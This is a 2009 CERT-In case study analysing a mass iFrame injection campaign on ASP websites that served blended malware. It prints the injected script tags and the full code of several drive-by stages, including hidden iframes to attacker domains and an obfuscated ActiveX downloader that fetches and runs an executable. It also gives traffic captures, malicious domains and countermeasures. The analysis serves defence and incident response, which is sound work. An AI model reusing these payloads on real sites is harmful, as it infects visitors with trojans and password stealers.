Indian Computer Emergency Response Team (CERT-In)

CERT-In Case Study

CICS-2009-01

Series of Mass iFrame injection on Websites - Serving Blended Malware

Bhupendra Singh Awasya, S. S. Sarma

Indian Computer Emergency Response Team (CERT-In)
Government of India
Department of Electronics and Information Technology
Ministry of Communication and Information Technology, India

CERT-In CASE STUDY - CICS-2009-01

Series of Mass iFrame injection on Websites-Serving Blended Malware

Overview

During last week of August 2009, it has been observed that thousands of websites have been compromised and infected with iFrame script tags linking users to malicious JavaScript file hosted on domain "***a0v[d0t]org***". It has been found that most of the websites are running in support of ASP engine are infected.

Remote attackers launched successful attacks on the web servers and inserted iFrame script tag into the web pages. When a user visits any of the infected websites, the script embedded in the infected website gets executed on visitor's computer system. Upon execution it tries to download and install desegregated malware consisting of Trojans, backdoors, memory resident spywares, key loggers, password stealers & downloaders onto the visitor's computer system. These malware are downloaded from different domains.

Descriptive Analysis

It has been observed that most of the websites running in support of ASP engine got infected with malicious script snippet pointing to malicious JavaScript file "***x.js***" hosted on domain "***a0v[d0t]org***". The infection on the website can be seen as:

```
<ul>
<li><a href="/index.asp?ID=1&lt;script src=htt&lt;script src=http://a0v.org/x.js&gt;&lt;/script&gt;"
 target="_self&lt;script src=http://a0v.or&lt;script
 src=http://a0v.org/x.js&gt;&lt;/script&gt;">Home</a></li>
<li><a href="/Display/index.asp?ID=2&lt;script&lt;script src=http://a0v.org/x.js&gt;&lt;/script&gt;"
 target="_self&lt;script src=http://a0v.or&lt;script src=http://a0v.org/x.js&gt;&lt;/script&gt;">About
 Us</a><ul>
```

The content of the malicious JavaScript file "***x.js***" is:

```
var s,siteUrl,tmpdomain;
var arydomain = new Array(".gov.cn",".edu.cn");
s = document.location+"";
siteUrl=s.substring(7,s.indexOf('/',7));
tmpdomain = 0;
for(var i=0;i<arydomain.length; i++)
{
if(siteUrl.indexOf(arydomain[i]) > -1){
tmpdomain = 1;
break;
}
}
if(tmpdomain == 0){
document.writeln("<iframe src=http://yea24.2288.org/wwj/5.htm width=0
height=0></iframe>");
function rl()
{
  var msgObj = document.createElement("div");
  msgObj.setAttribute("id","msgDiv");
  document.body.appendChild(msgObj);
  var obj = document.getElementById("msgDiv");
  obj.innerHTML = "<iframe src=http://yea24.2288.org/wwj/5.htm width=0
height=0></iframe>";
}
  setInterval("rl()",10000);
}
```

This JavaScript is designed in such a way that, it will only execute for the websites URL not containing "***.gov.cn***" and "***.edu.cn***". If the website URL contains either of two, it will not execute. Up on execution, JavaScript will write an iFrame "***http://yea24[d0t]2288[d0t]org/wwj/5[d0t]htm***" on to current web page while loading. In order to hide the execution window of JavaScript at client side, attacker has set the height and

width of iFrame to "0" [zero], so browser will open a windows with width=0 & height=0 and execute at the background.

The traffic observed to this malicious domain is shown here:

No.	Time	Source	Destination	Protocol	Info
17	26.167783	192.168.4.250	192.168.4.254	DNS	Standard query A yea24.2288.org
18	26.729697	192.168.4.254	192.168.4.250	DNS	Standard query response A 59.34.197.75
19	26.805943	192.168.4.250	59.34.197.75	TCP	asprovatalk > http [SYN] Seq=0 Win=16384 Len=0 MSS=1460
20	27.531317	59.34.197.75	192.168.4.250	TCP	http > asprovatalk [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460
21	27.533668	192.168.4.250	59.34.197.75	TCP	asprovatalk > http [ACK] Seq=1 Ack=1 Win=17520 Len=0
22	27.544038	192.168.4.250	59.34.197.75	HTTP	GET /wwj/5.htm HTTP/1.1
23	28.282158	59.34.197.75	192.168.4.250	HTTP	HTTP/1.1 200 OK (text/html)
24	28.444355	192.168.4.250	59.34.197.75	TCP	asprovatalk > http [ACK] Seq=373 Ack=430 Win=17091 Len=0

Upon execution, browser requests for this embedded URL, and download "***5.html***". The content of "***5.htm***" is shown below:

```
<html>
<iframe src=http://ds3gj.cn/x115/xx.html
width=111 height=0 border=0></iframe>
<br>

<script type="text/javascript"
src="http://js.tongji.linezing.com/1242668/tongj
i.js"></script>
</html>
```

Here again, an iFrame snippet and a JavaScript script injection is found, the browser tries to execute the content of "***5.html***" and requests for the embedded iFrame and JavaScript file hosted on domain "***ds3gj****[d0t]****cn***" and "***js.tongji.linezing****[dot]****com***". Content of file "***xx.html***" is:

```
<script>
if(navigator.userAgent.toLowerCase().indexOf("\x6D\x73\x69"+"\x65\x20\x37")==-1)
document.write("<iframe width=100 height=0 src=Td14.htm></iframe>");
document.write("<iframe width=100 height=0 src=yt.htm></iframe>");
if(navigator.userAgent.toLowerCase().indexOf("\x6D\x73\x69"+"\x65\x20\x37")>0)
document.write("<iframe src=dxxz.htm width=100 height=0></iframe>");
document.write("<iframe src=yut.htm width=100 height=0></iframe>");
</script>
```

It has been found several other internal page links hosted on the malicious domain "***ds3gj****[d0t]****cn***". The names of files are as follows:

"***Td14.htm***", "***yt.htm***", "***dxxz.htm***", "***yut.htm***" , "***y1.htm***" & "***ytfl1.htm***".

The Content of some of the files is shown below:

Content of file "***yt.htm***" is:

```
<html>
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function killErrors() {
return true;
}
window.onerror = killErrors;
// -->
</SCRIPT>
<body>
<div id="DivID">
<script src='a.jpg'></script>
<script src='b.jpg'></script>
<script src='url.jpg'></script>
<script src='c.jpg'></script>
<script src='d.jpg'></script>
<script src='e.jpg'></script>
<script src='f.jpg'></script>
</body>
</html>
```

Content of file "***dxxz.htm***" is:

```
<script>
try{var b;
var ff=new ActiveXObject("LA"+"SH");}
catch(b){};
finally{if(b!="[object Error]"){document.write("<iframe width=100
height=0 src=ytfl.htm></iframe>");}}
try{var a;
var aa=new ActiveXObject("ShockwaveFlash.ShockwaveF"+"lash");}
catch(a){};
finally{if(a!="[object Error]"){document.write("<iframe width=100
height=0 src=ytfl1.htm></iframe>");}}
try{var c;
var f=new ActiveXObject("OWC10.Spreadsheet");}
catch(c){};
finally{if(c!="[object Error]"){aacc = "<iframe src=of.htm width=111
height=111></iframe>"
setTimeout("document.write(aacc)", 10000 );}}
</script>
```

Content of "***ytfl1.htm***" is:

```
<script language="javascript">
<!--
if (window.navigator.userAgent.indexOf("M"+"S"+"IE")>=1)
{
document.write ("<iframe src=y1.htm width=100% height=100% scrolling=no
frameborder=0>")
}else{
if (window.navigator.userAgent.indexOf("F"+"i"+"r"+"e"+"f"+"o"+"x")>=1)
{
document.write ("<iframe src=t2.htm width=100% height=100% scrolling=no
frameborder=0>")
}else{
document.write ("<iframe src=y1.htm width=100% height=100% scrolling=no
frameborder=0>")
}
}
//-->
</script>
```

Content of the file "***Td14.htm***" is:

```
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function killErrors() {
return true;
}
window.onerror = killErrors;
// -->
</SCRIPT>
<script src=14.js></script>
<script src=15.js></script>
<script src=16.js></script>
<script language="JavaScript">
function gn(rRaGEykU1)
{
var Orh2=window["M"+"a"+"th"]["r"+"a"+"n"+"d"+"o"+"m"]
()*rRaGEykU1;return'YTPPS'+'.Cn'
}
try{var YTPPSzf,YTPPSzfs,YTPPSzfx,wwwYTPPScn,wwwYTPPScn2;
var YTPPSname='YTPPSeee.pif';
var YTPPSnames='YTPPSeee.vbs';
var chilam=window["d"+"o"+"c"+"u"+"m"+"e"+"n"+"t"]["c"+"re"+"at"+"eE"+"le"+"me"+"nt"]
("o"+"b"+"j"+"e"+"c"+"t");
chilam["setAttribute"]("classid",YTPPSeex);var hHf$R6=chilam["CreateObject"]
("Scripting.FileSystemObject","");
var YTPPS2=chilam["CreateObject"](YTPPSxml,"");
var YTPPS3;
YTPPS3=chilam.CreateObject(YTPPSado,"");
YTPPS3.type=1;
var VgDnZXHt7=hHf$R6.GetSpecialFolder(0);
var YuTYuT;
YuTYuT=chilam["C"+"r"+"e"+"a"+"t"+"e"+"O"+"b"+"j"+"e"+"c"+"t"](YuTx,"");
exp1=hHf$R6["B"+"u"+"i"+"l"+"d"+"P"+"a"+"t"+"h"](VgDnZXHt7+'\\system32','cmd.exe');
wwwYTPPScn=VgDnZXHt7+"\\"+YTPPSname;
YTPPS2.Open("G"+"E"+"T",YTPPS,0);
YTPPS2["S"+"e"+"n"+"d"]();YTPPS3["Open"]();
YTPPS3["W"+"ri"+"te"](YTPPS2["respon"+"seBody"]);
YTPPS3["S"+"a"+"ve"+"T"+"oF"+"il"+"e"](wwwYTPPScn,2);
YTPPS3["Close"]();
var YTPPSuser="chilam";
wwwYTPPScn2=VgDnZXHt7+"\\"+YTPPSnames;
var YTPPSzf0;
YTPPSzf0="Set wwwYTPPScn = CreateObject(\"Wscript.";YTPPSzf="Shell\")"+"\n";
YTPPSzfs="wwwYTPPScn.run \"cmd /c "+wwwYTPPScn+"\",vbhide";
YTPPSzfx=YTPPSzf0+YTPPSzf+YTPPSzfs;YTPPS3["type"]=2;YTPPS3["O"+"p"+"e"+"n"]();
YTPPS3["Wr"+"ite"+"Te"+"xt"]=YTPPSzfx;YTPPS3["Sav"+"eto"+"Fi"+"le"](wwwYTPPScn2,2);YTPPS3
["Close"]();
var YTPPSs="o";
var YTPPSss="p";
var YTPPSsss="e";
var YTPPSssss="n";
var YTPPSx=YTPPSs+YTPPSss+YTPPSsss+YTPPSssss;
YuTYuT.ShelLExeCute(exp1,' /c '+wwwYTPPScn2,"",YTPPSx,0)}catch(YTPPSsave){YTPPSsave=1}
</script>
```

Content of "***y1.htm***" is:

```
<Script src="swfobject.js" type="text/javascript"></Script>
<div id="YTMTVV">111</div><div id="YTUTVV">222</div>
<script type="text/javascript">
var version=deconcept.SWFObjectUtil.getPlayerVersion();
if(version['major']==9){
    document.getElementById('YTUTVV').innerHTML="";
    if(version['rev']==115){
        var so=new SWFObject
("./x1.swf","mymovie","0.1","0.1","9","#000000");
        so.write("YTMTVV")
    }else if(version['rev']==47){
        var fuckavpxa = "P";
        var so=new SWFObject
("./x3.swf","mymovie","0.1","0.1","9","#000000");
        so.write("YTMTVV")
    }else if(version['rev']==45){
        var so=new SWFObject
("./x4.swf","mymovie","0.1","0.1","9","#000000");
        so.write("YTMTVV")
    }else if(version['rev']==64){
        var fuckavp = "DZ";
        var so=new SWFObject
("./x2.swf","mymovie","0.1","0.1","9","#000000");
        so.write("YTMTVV")
    }else if(version['rev']==28){
        var so=new SWFObject
("./x5.swf","mymovie","0.1","0.1","9","#000000");
        so.write("YTMTVV")
    }else if(version['rev']>=124){
        if(document.getElementById){
            document.getElementById('YTUTVV').innerHTML=""
        }
    }
}
</ScripT>
```

Upon execution of all these JavaScript at users' side, it has been found that some more files are getting downloaded. The file requested and downloaded on the system are as follows:

a.jpg	x3.swf	16.js	9.exe	19.exe	29.exe
b.jpg	x4.swf	x115.css	10.exe	20.exe	30.exe
url.jpg	x5.swf	1.exe	11.exe	21.exe	31.exe
c.jpg	t2.htm	2.exe	12.exe	22.exe	32.exe
d.jpg	of.htm	3.exe	13.exe	23.exe	33.exe
e.jpg	of.css	4.exe	14.exe	24.exe	YTPPSeee.vbs
f.jpg	of.js	5.exe	15.exe	25.exe	YTPPSeee.pif
swfobject.js	ytfl.htm	6.exe	16.exe	26.exe	
x1.swf	14.js	7.exe	17.exe	27.exe	
x2.swf	15.js	8.exe	18.exe	28.exe	

These files are hosted on multiple domains. Some of the observed domain request queries are shown below:

```
 78 44.824490  192.168.4.250  192.168.4.254    DNS   Standard query A d.bgsew.com
 79 45.592091  192.168.4.254  192.168.4.250    DNS   Standard query response A 59.34.198.114
```

```
289 256.124521 192.168.4.250  192.168.4.254    DNS   Standard query A txt.bhssd.com
290 256.851108 192.168.4.254  192.168.4.250    DNS   Standard query response A 59.34.198.111
```

```
317 271.655341 192.168.4.250  192.168.4.254    DNS   Standard query A 1.boksx.com
318 272.357569 192.168.4.254  192.168.4.250    DNS   Standard query response A 59.34.198.55
```

Upon execution of the above files, several malicious activities are observed on the system and several other files dropped and created at different locations like Temporary Internet Files, Temp, Windows, and System32 etc.

The names of the files are as follows:

a4rxQxCvNBMNnpqs.dll	comres.dll	emHnPuBAaF7XjuXBbdxSg.dll
pj83ZgsqjcWUNwjrRp42tFw.dll	Q9q2MHJ3uTBErM7wc.dll	S9UQCTA4tnRSJhfxC7Vfj.inf
SrNRKs5F7Rkv9hp.inf		

It has been noticed that most of the files downloaded are Trojan download agents, Trojan dropper, memory resident spywares, online gaming password stealers, key loggers, rootkit and backdoor Trojans. Most of the dropped malware are known malware and detection is available with most of the antivirus vendors.

Some of the domains found involved in malicious activity are listed below:

Domain	**Created on**
a0v.org	21-Jul-2009 18: 47: 27 UTC
d.bgsew.com	24-08-2009 08:45
txt.bhssd.com	24-08-2009 08:44
js.tongji.linezing.com	28-12-2008 00:00
yea24.2288.org	23-01-2002 00:00
ds3gj.cn	25-08-2009 13:05
1.boksx.com	24-08-2009 08:45:39
2.boksx.com	24-08-2009 08:45:39
3.boksx.com	24-08-2009 08:45:39

It may be noted that many such malicious domains could be hosted and can be resolved to different IPs existing on a botnet.

Countermeasures for users:

- Disable client side scripting.
- Disable JavaScript and ActiveX scripting in the browser settings. Use NoScript extension with Firefox browser.
- Use Signed Scripting: Implement “signed scripting” such that any script with an invalid or un-trusted signature would not run automatically.
- Enterprises shall implement IPS and Security solutions with content inspection at perimeter level.
- Keep up-to-date on patches and fixes on the OS and application software.
- Install and maintain updated anti-virus software at desktop level.
- Exercise caution even while visiting trusted websites.
- Secure the web applications against SQL injection and XSS attacks. For more details refer CERT-In Case Study and Whitepaper on SQL injection Techniques & Countermeasures.

References:

http://www.securityfocus.com/brief/1001
http://blog.scansafe.com/journal/2009/8/21/up-to-55k-compromised-by-potent-backdoordata-theft-cocktail.html
http://news.softpedia.com/news/Over-62-000-New-URLs-Serving-Exploits-Cocktail-120006.shtml
http://www.theregister.co.uk/2009/08/24/mass_web_infection/